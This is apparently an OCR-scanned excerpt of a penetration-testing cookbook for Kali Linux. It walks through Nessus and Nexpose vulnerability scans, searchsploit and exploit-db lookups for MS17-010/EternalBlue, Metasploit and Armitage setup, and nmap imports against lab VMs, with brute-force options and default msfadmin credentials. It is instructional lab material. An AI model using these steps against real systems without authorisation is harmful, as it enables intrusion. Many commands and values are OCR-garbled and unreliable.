e Ensure you have completed the setup of Nessus, Nessus is started, and you are at

the main screen after logging in
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How to do it...

Let's begin our advanced scanning techniques using Nessus:

1. To perform a more advanced scan with Nessus, we will explore several options
available to us. Select Scans from the top. Select New Scan | Advanced
Scan. From our General screen, add a descriptive name; and target your
Metasploitable VM's IP address.

2. Spend a minute to scroll through the Basic options on the left. We can perform
scheduled scans. We can also provide notifications when the scan is done.

3. Select Discovery | Host Discovery; look through the options available. You will
note that we can turn on various discovery methods including scanning for network
printers.

select any other options under host discovery. However, if you are

8 Since we already know the specific host that we want to scan, we need not
doing the subnet scan, these options are useful.

4. Select Discovery | Port Scanning, and modify the following options based on the
following screenshot:
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[k_ Nessus Home / Scans / Editor - Mozilla Firefox e ® 0

/ © Nessus Home /Scan.. x | #

(- i) @ | https:/Nlocalhost:8834/4¢/scans/new/ad629e 16-03b6-8c 1d-cefé-ef8c9c ] Q, Search %A 9 3 #

fif Most Visited v Jfj Offensive Security S\ Kali Linux ", Kali Docs % Kali Tools & Exploit-DB WyAircrack-ng ) Nessus

¥ SNMP
+  Only run network port scanners if local port enumeration failed

Verlfy open TCP ports found by local port enumerators

Network Port Scanners

v TCP

v  Override automatic firewall detection
Use soft detection
® Use aggressive detection

Disable detection

v SYN

v  Overide automatic firewall detection
Use soft detection

® Use aggressive detection

Disable detection

Nessus - advanced settings

5. Select Assesment | General. Check Perform thorough tests.
6. Select Assesment | Brute Force. Check both Oracle Database Tests and Hydra.

You can add login and password files to target possible or well-known
usernames and passwords.

7. Select Assesment | Web Applications. Check Follow dynamically generated pages.
8. Under Application Test Settings, match the following options:
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i— Nessus Home / Scans / Editor - Mozilla Firefox e ® 0
J © Nessus Home / Scan... x ".\ *

34#4#scans/35/co 1-:--=Z|.'--.'\E.'.-E.i-l'--?li::-'-ﬁi\.'5*.'--3!""'7I'.'.-. | @ |[Q Search i w B 4+ #

€)@ @ hiips/localhost 88
& Most Visited v [JfllOffensive Security & Kali Linux “\ Kali Docs S Kali Tools = Exploit-DB WyAircrack-ng ) Nessus
Application Test Settings

v Enable generic web application tests
Abort web application tests if HTTP login falls
v| Try all HTTP methods
v| Attempt HTTP Parameter Pollution

v | Tesl embedded web servers

«  Test more than one parameter at a time per form
Test random pairs of parameters
Test all pairs of parameters (slow)
Test random combinations of three or more parameters (slower)

® Test all combinations of parameters (slowest)

« | Do not stop after the first flaw is found per web page
Stop after one flaw is found per web server (fastest)
Stop after one flaw is found per parameter (slow)
®  Look for all flaws (slowest)

a«_

Nessus - advanced settings

9. Select Save at the bottom and launch the scan. This scan will take a long time to
complete (about 2 hours). However, once completed, let's review the following
result. We will see that we have found incremental information and vulnerabilities
regarding the host in question:
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Nessus Home / Scans - Mozilla Firefox @ ® 0

/ D Nessus Home /Scans % | #

('ﬁ htps://localhost:8834/4/scans/35/hosts C"; Q, Search IR =D R

5 Most Visited v JflOffensive Security "\ Kali Linux S Kali Docs 4 Kali Tools = Exploit-DB WyAircrack-ng ) Nessus

Scans » Hosis - Vulnerabilities Remediations History
Host Vuinerabilities « Scan Details
192.168.56.101 u_"_ Name: Advanced Network Custom
192.168.56.101

Status: Completed
Policy: Advanced Scan
Scanner: Local Scanner
Folder: My Scans
Start: May 30 at 10:00 PM
End: May 30 at 11:43 PM
Elapsed: 2 hours
Targets: 192.168.56.101

Vuinerabilities

/4

<

Nessus - scan results screen

10. Clicking on the results, you will see that we significantly increased the number of
high-level vulnerabilities. This again is all useful information that we can use as
we move forward to exploiting our targets.

Remember to save and log all the information so that you can use this
information as we move forward.
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The installation and configuration of
Nexpose

Nexpose is a commercial product by Rapid7. Recently, it appears that it was renamed to
InsightVM; and there was an attempt to eliminate the community edition of Nexpose.
However, Rapid7 has reconsidered and made the community edition available once
again with a 1 year license key.

We will install the community edition of Nexpose here.
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Getting ready

Let's ensure the following prerequisites:

e Take a snapshot of your VM first
e Kali Linux is running and you are logged in as root
e Disconnect the host-only network and use the NAT network only

The Nexpose installation and operation can be confused with multiple

interfaces and multiple connections. For this and all recipes that involve
8 Nexpose we will be doing everything on the NAT network. After you are

done with the recipes involving Nexpose, you may want to revert back to
a snapshot taken just before installation.
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How to do it...

We will now install and configure Nexpose on our Kali machine:

1. First, we must register on Rapid7's site, obtain a license key, and download the

code. Open Firefox by clicking on the icon.

2. Go to the following site, httpss//www.rapid7.com/info/nexpose-community/ and register with
your information. You will receive an email within a few minutes with your license
key, as well as being able to download the appropriate software. Save the file in
the pownloads directory:

Nexpose Community
nexpo
Windows/Linux Installation pPas€

@ Last Name With Nexpose you will:

* Know your network and the vulnerabilities
. that impact valuable asset

= Prigritize and manage risk effectively

= Simplify your compliance effort

=~
= Easily report on remediation eflorts
United States
v
™
I'm not a robot
Submit & Download
Issues with this page? Please email info@rapid7.com View System Requirements

Please see updated Privacy Policy

The Nexpose registration website

3. Now, let's prepare to install Nexpose by opening a terminal window and entering

the following commands:

cd <enter>

cd Downloads <enter>

chmod 770 Rapid7Setup-Linux64.bin <enter>
./Rapid7Setup-1linux64.bin <enter>
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4. Once you are presented with the welcome screen, click on Next:

Installer - Rapid7 Vulnerability Management 6.4.48
RAPID Welcome to the Rapid7 Installation Wizard

Rapid7 Vulnerability Management reduces your organization's risk by
dynamically collecting data and analyzing risk across vulnerabilities,

* Welcome configurations and controls from the endpoint to the cloud. Our vulnerability
management platform is engineered to enable IT security teams to identify,
assess and respond to critical change as it happens.

cense agre:—ement
and destination

Rapid7 Inc

http://www_ rapid7 com

info@rapid7.com

+1.866.7RAPID7 (Toll Free)

+1.617.247.1717

Requirements

The Nexpose installer screen

5. Select the radio button labeled Security Console with local Scan Engine. Accept
the default destination directory and click on Next. If you receive an error related
to insufficient disk space, just click on Continue.

6. On the system settings screen, click on Next:
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Installer - Rapid7 Vulnerability Management 6.4.48

RAPID The installer is comparing your system settings to required settings

Installation requirements
/! 7,992 MB RAM was detected. 8,192 MB RAM is recommended.

Waikoms See the list of supported versions.
License agreement s fi ions ¢ o
Type and destination <#” SELinux is not active.
* Requirements < Software is not running.
Account details < Access to external networks was detected.
Shortcut location </ Port 3780 is available.
Confirm selections
on prog ; Database port
Enter the number for the port that the database will listen on:

Installation su S 0 4

The Nexpose nstaller screen - settings compare

7. Enter your information on the account details screen, and click on Next:
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Installer - Rapid7 Vulnerability Management 6.4.48

Create your account information

User details: This information will be used for generating SSL certificates, and it
will be included in requests to Technical Support.

First name: Last name:

Company:

Requirements
* Account details : 3
Letters. numbers, spaces. and the characters - + @ & . _ ' only. All fields are required.

Credentials: Choose secure credentials and remember them. You will need
them to perform configuration steps after completing the installation.

User name: x

Password: Confirm the password:

4 TS

Strength: EEEEESSSSSSSSSSSSSSSSSSSSS————————— | 00 Short

Require password reset upon login? [~

Cancel

The Nexpose installer screen - user details

Al

8. On the next screen, select Initialize and start after installation and click on Next. It
will then go through the installation process and when complete you will be
presented with the following screen:
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Installer - Rapid7 Vulnerability Management 6.4.48
Installation is complete!

Installation is complete!

1. if you chose to start the Security Console as part of the installation,
ment then if will be started upon installer completion.
Feemer

Type and destination 2. You can log onto the Security Console at https://localhost:3780. Use
the credentials you created during installation.
Requirements
3. Wait 10 to 30 minutes for the Security Console to initialize during first

time startup depending on your system capabilities.

To start the service run: sudo systemctl start nexposeconsole. service

The Security Console is configured to automatically run at startup. See the

o lnstallation success installation guide if you wish to modify start modes.

The Nexpose installer screen - complete

9. Click on Finish to close it out.

As it states, it can take several minutes to initialize and start. My
recommendation is to let it sit for 30 minutes, and then reboot the VM.
Once the VM comes backup, log in and give it a few minutes before
attempting to go to the website.

10. Open Firefox by clicking on the icon, and enter the following address in the
address bar: nttps://10cainost:3780. If you are presented with a security screen, click
on Advanced and select Add Exception:
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Insecure Connection - Mozilla Firefox e 0 d
J . Insecure Connection x|+

€ @ | https://127.0.0.1:3780 e ||Q search wB 4+ A =|
[ Most Visitedv  Jll Offensive Security “§ Kali Linux "\ Kali Docs "\ Kali Tools * Exploit-DB Wy Aircrack-ng gllKali Forums "\ NetHunter »

% Your connection is not secure

The owner of 127.0.0.1 has configured their website improperly. To protect your information from being stolen, Firefox
has not connected to this website.

Learn more...

Report errors like this to help Mozilla identify and block malicious sites

127.0,0.1:3780 uses an invalid security certificate

The certificate is not trusted because it is self-signed
The certificate is not valid for the name 127.0.0.1

Error code: SEC_ERROR_UNKNOWN_ISSUER

(Add Exception..|

The Firefox security screen

11. Click on Confirm Security Exception:

Add Security Exception [~}

) You are about to override how Firefox identifies this site.

~ | Legitimate banks, stores, and other public sites will not ask you to do this.

Server
l Get Certificate

Location: [ https://127.0.0.1:3780,

Certificate Status
This site attempts to identify itself with invalid information. View...
Wrong Site

The certificate belongs to a different site, which could mean that someone is trying to
impersonate this site.

Unknown Identity

The certificate is not trusted because it hasn't been verified as issued by a trusted authority using
a secure signature.

[]Permanently store this exception

I Confirm Security r‘E(ception } Cancel \
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The Firefox security exception screen

12. Once Nexpose has finished installing, you will be brought to the login screen. Use
the credentials you provided to log on:

RAPID))

Logon

Username

Password

RAPIDI)

The Nexpose login screen

13. Almost immediately, you will be brought to the screen asking you to enter your
product key. Retrieve the email that was sent containing it. Enter the key and click
on ACTIVATE WITH KEY:

7,

Enter a product key

The Nexpose enter product key screen

14. Once the activation is successful, you will receive a confirmation screen:

Activation successful. The settings will now refresh

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

The Nexpose activation success screen

15. For now, let's click on the intro screen, and select Dismiss:

filters |

Introduction to Advanced Filters

Welcome to Nexpose

Nexpose is a vulnerability management solution that helps you collect, prioritize and remediate risks
If you ever need help in the product, just click on the launcher at the bottom right of every screen. If
you are an admin, start with our guides for setting up a site and starting a scan

Create a Site

Welcome to the Nexpose screen

16. The updates will automatically install after the startup.

We suggest moving directly into the next recipe, Basic vulnerability
scanning with Nexpose.
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Basic vulnerability scanning with
Nexpose

Now we will use Nexpose to scan our NAT network to give us information regarding
vulnerable devices and services. The community edition of Nexpose 1s limited to 32 IP
addresses but otherwise is fully functional.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root

e Disconnect the host-only network, and use the NAT network on all VMs

e Start Metasploitable and your Windows XP machine with the NAT network
connected

The Nexpose installation and operation can be confused with multiple
interfaces and multiple connections. For this and all recipes that involve

8 Nexpose we will be doing everything on the NAT network. After you are
done with the recipes involving Nexpose, you may want to revert back to
a snapshot taken just before installation.
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How to do it...

Using Nexpose we will now perform a basic vulnerability scan:

1. Open Firefox by clicking on the icon and browse to nttps://10calnost:37s0.

2. Login with the credentials you used earlier.
3. Click on the Assets button on the left and click on CREATE SITE.

4. Name your site as you wish; in my case, it 1S 1ab:

RAPID Create EE 7) admin

R [ "
INFO & SECURITY AUTHENTICATION TEMPLATES ENGINES

ORGANIZATION

ACCESS Name

Importance Norma
Description *
User-added Tags ¢ |
CUSTOM TAGS LOCATIONS OWNERS CRI
None None None

The Nexpose site creation

5. Next, click on ASSETS at the top; and add your machines IP addresses into the
network; in my case, the Metasploitable VM is 10.0.2.5 and the Windows XP VM

1S 10.0.2.6:.
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RAPID Create

Site Configuration

AUTHENTICATION TEMPLATES ENGINES

2 Assets Browse No file selected 0 Assets

,
10.025-10026 » |

The Nexpose asset screen

6. Now, click on TEMPLATES, and you will notice a variety of scanning templates

that you can use. We are going to use the default, which is Full audit without Web
Spider. Take a minute to read through the scanning templates available:
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RAPID Create

NLE Lonngurdauorn

AUTHENTICATION TEMPLATES ENGINES

SELECT SCAN TEMPLATE Selected Scan Template: Full audit without v
2 Fir
Name A Asset Discovery Service Discovery (
senial of service ICMP. TCP. UDF Default TCP Default
MP TCE UDE Custom TCE Custo
CMP TCP UDP TCP Cust
Exhaustive CMP, TCR, UD# Full TCP, Default UDF
Full audit ICMP. TCP UDF Default TCP Default
Il sudit enhanced logging without Wet e MP TCP UDF Default TCP Default
Full sudit without Web Splde MP TCP LUDP Default TCP Defalt
i PTCPUC [ P Ot

The Nexpose template screen

7. Now, select SAVE & SCAN from the top right, when asked to validate, feel free to
check Don't show this alert again, and select the SAVE & SCAN button:

Are you sure you want to Save & Scan?

Don't show this alert again

The Nexpose site save and scan confirmation screen
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8. You can monitor the scan progress and watch for Completed Successfully in the
Scan Status:

RAPID Create

STATUS

Address v Paort Engine Scan Status

127001 40814

i

The Nexpose scan status screen

9. If you scroll down, you will see the identified hosts, IP addresses, operating
system, and most importantly, a count of vulnerabilities:
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RAPID Create

= admin

COMPLETED ASSETS ©

Address v Name Operating System Vulnerabilities Scan Duration Scan Status Scan Eng

| &

INCOMPLETE ASSETS @

Address v Name Operating System Vulnerabilities Scan Duration

The Nexpose device list

10. Let's click on the Metasploitable machine and see what information has been
collected. You will notice various pieces of information as well as Risk Score:

RAPID Create

| 10025 F\Ll;[‘,'J!fL-l

5] virtual machine

Aug 2. 2017 7:34:14 PM (1 minute ago)

RISK SCORE @@

160,946 N,
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The Nexpose host detail information

11. Continue to scroll down; and you will see a list of vulnerabilities, services,
installed software, fingerprints, and users:

RAPID Create & ?) a) S admin

s VULNERABILITIES

Vulnerability

Showing 1 to 10 of 323 Rows e ¥ g8

The Nexpose host vulnerability information

12. Click on one of the vulnerabilities to gather more information about it:
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RAPID Create ?) '8 ! 2 admin

INSTANCES

The Nexpose host vulnerability detail information

13. Scroll down the list; and you will see information on the remediation steps, which
can provide you crucial information on how to exploit the vulnerability.
14. Continue to explore the interface, and when done, return to the home screen by

clicking on the home button on the left.

We suggest moving directly into the next recipe, Advanced vulnerability
0 scanning with Nexpose.
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Advanced vulnerability scanning with
Nexpose

Now, we will use Nexpose to perform a more advanced and in-depth scan of our NAT
network. We will use Nexpose in a more aggressive fashion against our target machines.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root

e Disconnect the host-only network, and use the NAT network on all VMs

e Start Metasploitable and your Windows XP machine with the NAT network
connected

The Nexpose installation and operation can be confused with multiple
interfaces and multiple connections. For this and all recipes that involve

8 Nexpose we will be doing everything on the NAT network. After you are
done with the recipes involving Nexpose, you may want to revert back to
a snapshot taken just before installation.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

How to do it...

Let's begin our advanced scanning techniques using Nexpose:

Open Firefox by clicking on the icon and browse to nttps://10calnost:37s0.
Log in with the credentials you used earlier.

Scroll down to the SITES section, and click on the Lab site.

Click on TEMPLATES at the top; and scroll down to select the radio button for
Penetration Test. Then, click on SAVE & SCAN at the top:

b

Create

AUTHENTICATION TEMPLATES ENGINES

Selected Scan Template: Penetration test

E & &

R
{

5. Once the scan is complete, you will notice that we have found a larger number of
vulnerabilities than what the original scan produced. Before we continue, we are
going to add some additional information to our site and scan again.

The Nexpose site template screen

6. Return to the home screen by clicking on the home button on the left.
7. Scroll down to the SITES section, and click on the Lab site.

8. Now, click on AUTHENTICATION at the top. On the left, select ADD
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CREDENTIALS and enter nsraanin for the name; and click on CREATE:

TEMPLATES ENGINES

MANAGE AUTHENTICATION

ADD CREDENTIALS

Name

Description

ADD WEB AUTHENTICATION

The Nexpose add credential screen

9. Now, select ACCOUNT on the left and add the following information:

e Service: Secure Shell (SSH)

e Credential Management: Nexpose

e User Name: msfadmin

e Password: nsfadmin

e Confirm Password: nsfadmin

e Permission Elevation Type: sudo

e Permission Elevation User: msfadmin

e Permission Elevation Password: nsfadmin

e Confirm Permission Elevation Password: msfadmin
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RAPID Create

Service ¥

Credential Management &)

User Name
ADD WEB AUTHENTICATION
Password  ®essssss
Confirm Password = | ®®esssss v
Permission Elevation Type & *

Permission Elevation User

Permission Elevation Password

Confirm Permission Elevation

Password

Test Credentials @

The Nexpose account information

10. Now, select CREATE.

11. Select TEMPLATES at the top, select Exhaustive, and select SAVE & SCAN:
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RAPID Create

Site Configuration

0] Q e 8 E

INFO & SECURITY ASSETS AUTHENTICATION TEMPLATES ENGINES

SELECT SCAN TEMPLATE

Selected Scan Template: Exhaustive

Name ~ Asset Discovery Service [

The Nexpose templates screen

0 This scan can take some time, so please be patient.

12. Once the scan is complete, scroll down to COMPLETED ASSETS, and click on
the Metasploitable machine.

13. You can now scroll down to VULNERABILITIES, and again see a larger list of
vulnerabilities. Spend some time scrolling through the interface and looking at the
vulnerabilities found:

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Nexpose Security Console :: Asset Summary - Mozilla Firefox e 6

F? Nexpose Security Co.. »* | 4

€& (R hitps/ilocalhost 378 de._|sp eld g T8 3+ & 9

%1 Most Visited v Offensive Security & Kali Linux Kali Docs Kali Tools ® Exploit-DB W Aircrack-ng g Kali Forums NetHunter
ty P 9

RAPID Create admin
160,260 i
& NTEXT-DRIVEN :
' 160,260 None
- VULNERABILITIES
LS

The Nexpose host vulnerability information
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Finding Exploits in the Target

In this chapter, we will cover the following topics:

Searching the local exploit database
Searching the online exploit database
The Metasploit setup and configuration
The Armitage setup

Basic exploit attacks with Armitage
Advanced attacks with Armitage

Using the backdoor factory and Armitage
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Introduction

In this chapter, we will take the host information that we have accumulated to determine
the potential exploits to use against target machines and services. It is important to note
that as you work through this section, you are going to be launching attacks against hosts.
These attacks are going to create noise on the network that may be picked up by security
devices. Under typical circumstances, you will spend substantial time validating
whether your target is truly vulnerable to an exploit before launching it, so you don't
create any unnecessary information that could be used to determine an active attack
against a device.
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Searching the local exploit database

The searchsploit database is a local exploit database that comes standard with Kali.
This is a great way to search for exploits offline or when you have no internet
connectivity. Because of it's offline search capabilities, it's great for when you are
operating in an air-gapped location.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Validate internet connectivity
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How to do it...

We will now search the local exploit database:

1. Open the terminal screen by clicking on the terminal icon on the top left. .
2. From the main terminal screen, you should be at a Command Prompt of rootexaii:~#.
3. Review searchsploit options by entering the following command:

| searchsploit
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Update searchsploit

We must start by ensuring our searchsploit database is updated:

1. From the main terminal prompt, enter the following command to update the
searchsploit database:

| searchsploit -u

Regularly updating Kali with the APT package manager will also
8 automatically update the database.

2. Install additional modules required to run some functions of searchsploit:

| apt install -y libxml2-utils
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Run a simple query

We will run a simple query against our searchsploit database:

1. From the main terminal prompt, let's run a simple query looking for a known SMB
vulnerability, us17-010. You may recognize this as the vulnerability associated with
WannaCry as well as other various malware worms:

| searchsploit MS17-010

2. You will receive the following output:

root@kali:~# searchsploit MS17-010

Exploit Title | Path
| (/usr/share/exploitdb/platforms/)

Microsoft Windows - Unauthenticated SMB Remo | windows/dos/41891.rb
Microsoft Windows Server 2008 R2 (x64) - 'Sr | windows/remote/41987.py
Microsoft Windows Windows 7/2008 R2 (x64) - | win x86-64/remote/42031.py
Microsoft Windows Windows 8/2012 R2 (xb4) - | win x86-64/remote/42030.py

root@kali:~# !

Searchsploit console output

3. Let's take a look at some of the specifics related to one of the query results:

| nano /usr/share/exploitdb/platforms/windows/dos/41891.rb

4. The following output will show you that you are looking at a Metasploit module.
This module is specifically designed to search devices to see whether they are
vulnerable to this exploit.

vulnerability is not included in the default Metasploit database, we can

0 We will discuss Metasploit shortly, but it's important to note that if this a
import it for use.
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#
ki
#

#
L

GNU nano 2.8. File: /usr/share/exploitdb/platforms/windows/dos/41891.rb

This module requires Metasploit: http://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework

auxiliary/scanner/smb/smb ms 17 010

require 'mst/core’

= Bot=sen]l nt+Madnl a BeaEa s Kuingn g 2
» MetaspLolthoaule < MsST: :AUX1]

include Msf::Exploit::R
include Msf::Exploit::R

include Msf::
include Msf::

- initialize(info = {})
(update_info(info,

'Hame' => 'M517-010 SMB RCE Detection',
'Description’ => %q{
Uses information disclosure to determine i M517-010 has been patched or not

Nano output of a specific exploit

5. To exit the nano editor, type <contro1>-x; 1f you are asked to save modified buffer,

type n.

Explore some of the other results; you will note that 41957.py 1s an exploit
for this vulnerability written in Python.
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Understanding search options in
searchsploit

There are several parameters you can search for using searchsploit; try the following
examples.

1. The following command will search just the titles of the exploit database for windgows
and remote, allowing you to find the potential remote windows vulnerabilities:

| searchsploit -t windows remote

2. If'you exported your nmap or zenmap results in an XML format, you can search
against that for exploits. Run a quick nnap and output its results to /root/test.xm1. The
following command is used to search against that output file and will provide you
with a list of exploits for your nmap search:

| searchsploit --nmap /root/test.xml
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Searching the online exploit database

We will use Firefox to review an online exploit database at www.exploit-db.com.

The exp1oit-ao.con site Will have all the information in the searchsploit database, but
some may find the web GUI interface easier to use and navigate. There may also be
some slightly newer information on the website as the searchsploit database is only
updated on a weekly basis. The carrcea function of the website is one significant
drawback of using the website.

www.hellodigi.ir


https://www.exploit-db.com/
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Validate internet connectivity
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How to do it...

We will now perform searches through the online exploit database:

1. From the main interface, launch the Firefox application.
2. Go to the site named https//www.exploit-db.com/search.
3. Enter windows remote 1n the search term, click on reCAPTCHA, and select Search:

Search the Exploit Database

windows remote \/ I'mnot a robot

Firefox screen capture of the exploit-db.com website

4. You will be provided with an output as shown in the following screenshot. You
will notice that you have a lot of clickable options to navigate through the
database. You can use this to get more information and refine your searches:
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167 total entries
< prev n“ 3 4 next >>

Date » D A V Title Platform Author

Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote
2017-0517 & - Q@ Gt Exexil Win_x86-64 sleepya
ode Execution...

_ Microsoft Windows Windows 8/2012 R2 (x64) - 'EternalBlue' SMB Remote ) )
2017-05-17 & - Q@ Win_x86-64 sleepya
Code Execution...

Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote

2017-05-10 Windows Juan Sacco

&
G.

Code Execution...

) - Micrasoft Security Essentials / SCEP (Microsoft Windows 8/8.1/10/ )
20170509 & - W Holueys ) Windows Google Secu...
Windows Server)-...

_  Microsoft Windows 2003 SP2 - "ERRATICGOPHER' SMB Remote Code ,
20170425 & - © E Windows vportal
Execution

Microsoft Windows - ManagementObject Arbitrary .NET Serlalization
2017-04-20 ) ‘ :

<_
<

) Windows Google Secu...
Remote Code Execution

) ) Microsoft Windows - Unauthenticated SMB Remote Code Execution
2017-04-17 § - Windows Sean Dillon
scanner (MS17-010)...

Firefox screen capture of the exploit-db.com website vulnerability list

Click on the orange More Options button to see additional search query
options and try a few searches.
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The Metasploit setup and configuration

The Metasploit Framework now comes as part of the Kali installation, thus making the
setup and the initial configuration a relatively simple process.

The Metasploit Framework is an open source development tool for creating and
executing exploit code against machines. In the later releases of Kali, it has now
become part of the core bundle of tools, and therefore very little setup is required to get
it operational. In this recipe, we will take you through those few steps and get you up
and run.

Note that both the Metasploit Framework and Armitage use the same

backend database, therefore if you have already initialized the database,

skip to the heading — starting the Metasploit framework initialization and
startup section.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Make sure you have run the updates recently
e Validate internet connectivity
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How to do it...

There are several steps in preparing to use the Metasploit console that we will go
through in this section.
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Metasploit FrameworKk initialization and
startup

1. Begin by opening a terminal window by clicking on the terminal icon on the left.

2. Metasploit uses a database to store information about targets, exploits, and other
information. We need to begin by starting the database daemon. From the Command
Prompt enter the following commands:

| service postgresql start

3. Next, we will initialize the database (this only needs to be done once when first
starting it):
| msfdb init

If you ever need to reinitialize the database to start over, you can use the
8 msfdb reinit cOmmand. Be warned that all the existing data will be lost.

4. Now, we can start the Metasploit console:

| msfconsole

5. You will now be dropped in the main MSF screen. Note that your Command
Prompt has now changed to s+ > to indicate you are now in the console:
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root@kali:-# msfconsole

3Kom SuperHack II Logon

User Name: [ security |
Password: [ ]
[ 0K ]

http://metasploit.com

1662 exploits - 951 auxiliary - 293 post

= ]
+ =[ ]
+ =| 486 payloads - 40 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > []

msfconsole screen

Your screen may look different to the previous screenshot. When the
Metasploit Framework starts, it picks a different text based image
(banner) to start with. You can run through them by typing vanner at the mst >

prompt.

6. Let's validate our database is connected and operating properly. From the mss >
prompt type the following command, if all is working well, you should see [*]
postgresql connected to msf:

| db_status
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Starting the Metasploit console

From the Command Prompt, type the following:

service postgresql start
msfconsole
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Stopping the Metasploit console

From the st > console, type the following:

quit
service postgresql stop
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There's more...

Although you can do all your work from the command line, we are going to use
Armitage moving forward, Armitage is a GUI frontend to the Metasploit Framework. If
you want to get more information on using the command line, two great resources are

here:

e MSFconsole commands tutorial: https://www.offensive-security.com/metasploit-unleashed/msfconso

le-commands/
e Metasploit cheat sheet: https//www.sans.org/security-resources/sec560/misc_tools_sheet v1.pdf

www.hellodigi.ir


https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/
https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

The Armitage setup

Armitage is a graphical frontend to the Metasploit Framework.

In this recipe, we will be setting up the Armitage graphical user interface for the
Metasploit Framework. Based on your preference, you may like the GUI versus the
command-line experience. However, you can use them both interchangeably at anytime
because of their common database.

backend database, therefore if you have already initialized the database,

0 Note that both the Metasploit Framework and Armitage use the same
skip to the section on starting Armitage.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Make sure you have run the updates recently
e Validate internet connectivity
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Armitage initialization and startup

We shall now initialize and start up Armitage:

1. Begin by opening a terminal window by clicking on the terminal icon on the left.

2. Metasploit uses a database to store information about targets, exploits, and other
information. We need to begin by starting the database daemon. From the Command
Prompt, type the following:

| service postgresql start

3. Next, we will initialize the database (this only needs to be done once when first
starting it):
| msfdb init

If you ever need to reinitialize the database to start over, you can use the
9 msfdb reinit cOmmand. Be warned that all the existing data will be lost.

4. Start Armitage by typing this:

| armitage

5. Click on Connect as shown in the following screenshot:

Connect... Q@ ® O

Host 127.0.0.1
Port 55553
User msf

Pass

Connect Hel
L s

Armitage database connection screen

6. Select Yes when asked to start the Metasploit RPC server:
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Start Metasploit? o

A Metasploit RPC server is not running or
0 not accepting connections yet. Would you

like me to start Metasploit's RPC server

for you?

(Mo | [es]

Armitage start RPC server screen

You may be asked for the IP address of your computer. Enter the IP

address that you assigned to your host-only network. In my case it's
192.168.56.102.
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Stopping Armitage

To stop Armitage and exit:

1. To exit, click on Armitage at the top, and select Close:

grm-'rtage View Hosts Attacks Workspaces Help

New Connection

! Preferences
Set Target View I
Set Exploit Rank >
| SOCKS Proxy... '
Listeners [
Scripts...

Close

Armitage menu with close option

2. From the Command Prompt, type the following;

| service postgresql stop
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Basic exploit attacks with Armitage

In this recipe, we will perform some very basic tasks of Armitage including loading an
nmap scan, performing an nmap scan, finding attacks to use against the target, and
exploiting the target machine.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root

e Make sure Armitage is running

e Make sure, at a minimum, the Metasploitable VM and Windows XP VM are
running; feel free to turn on other target hosts as you wish
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How to do it...

From the main Armitage screen, we must start by finding our targets on the network. We
have the ability to import hosts from prior nmap scans or run nmap from the Armitage
console itself.
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Import an nmap scan

We will begin by importing an nmap scan into Armitage:

1. Select Hosts | Import Hosts from the top:

Armitage View @ Attacks Workspaces Help

» [ auxiliary Import Hosts
» ([ exploit Add Hosts...
> | payload Nmap Scan >
» [ post MSF Scans...

DNS Enumerate

Clear Database

Armitage import hosts menu

2. Browse the file system, and select your nmap output XML file; click on Open:

Open o
ook I (i root o || | ! -
il Desktop S Tempiates
@l Decuments I Videos
W Do bcuids 192 168 56_102.tat
& Music Infernal.xmi
W Pictunes bast.jom.
il Pubkc test, amil
Filg Nama: kestd aml
Filos of Type: | All Filos "
| Open | Lancel

Armitage open file dialog box

3. You will now see your nmap scan results populated, and you may begin working on
the devices:
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Armitage View Hosts Attacks Workspaces Help

» W auxilary
> i exploit
» i payload
g _- post

192.168.56.1 192.168.56.1601 192.168.56.163 192.168.56.104

| Qensole X | import X

msf > db_import “/root/test2,xml"

*] Importing 'Nmap XML' data
Import: Parsing with 'Nokogiri v1.8.0'

*] Importing host 192.168.56.1
Importing host 192. .56.1601
Importing host 192.168.56.163

*] Importing host 192,168.56.104

*] Successfully imported /root/test2.xml

Armitage nmap scan import results populated on screen

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Perform an nmap scan from the
Armitage interface

To perform an nmap scan from within Armitage do the following:

1. Select Hosts | Nmap Scan | Intense Scan from the top:

Armitage View JaiR8l Altacks Workspaces Help

* | suxiliary | IMport Hosts
" i FIP'DIT ._.'.I'_I'I HOELS.
* [l payioad

" e o P i
i pos MSF Stans.. ntenss Scan + WDF
DONS Enumarate

ntense Scan

| Intense Scan, all TCP ports
Clear Database ntansa Scan, no ping
Ping Scan

CMUIECK SCan

Quikck S¢mn (05 detect)

Cmprefiensiee

Armitage nmap scan menu

2. Enter our scan range; in this case, we will scan our entire 192.165.56.0/24 network,
and click on OK. This scan can take a couple minutes to complete, so just be
patient:

Input )

% Enter scan range (e.g.. 192.168.1.0/24):
0 192.168.56.0/24

Cancel | | OK

Armitage nmap input range dialog box

3. Once finished, you will see a scan complete notification; and your console will
now display your hosts. You can also close the nmap output window by clicking on
the nmap x near nmap toward the middle of the screen:
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Armitage e 00

Armitage View Hosts Attacks Workspaces Help

» | auxiliary
» j exploit
* B payload
» (@8 post

192.168.56.105 )2.168 +96. 192.168.56,104

Console X nmap.)-(--.

Nmap: 0S details: Linux 2.6.14 - 2.6.34, Linux 2.6.17, Linux 2.6.17 (Mandriva), Linux 3.13
*] Nmap: Network Distance: @ hops
Nmap: NSE: Script Post-scanning.
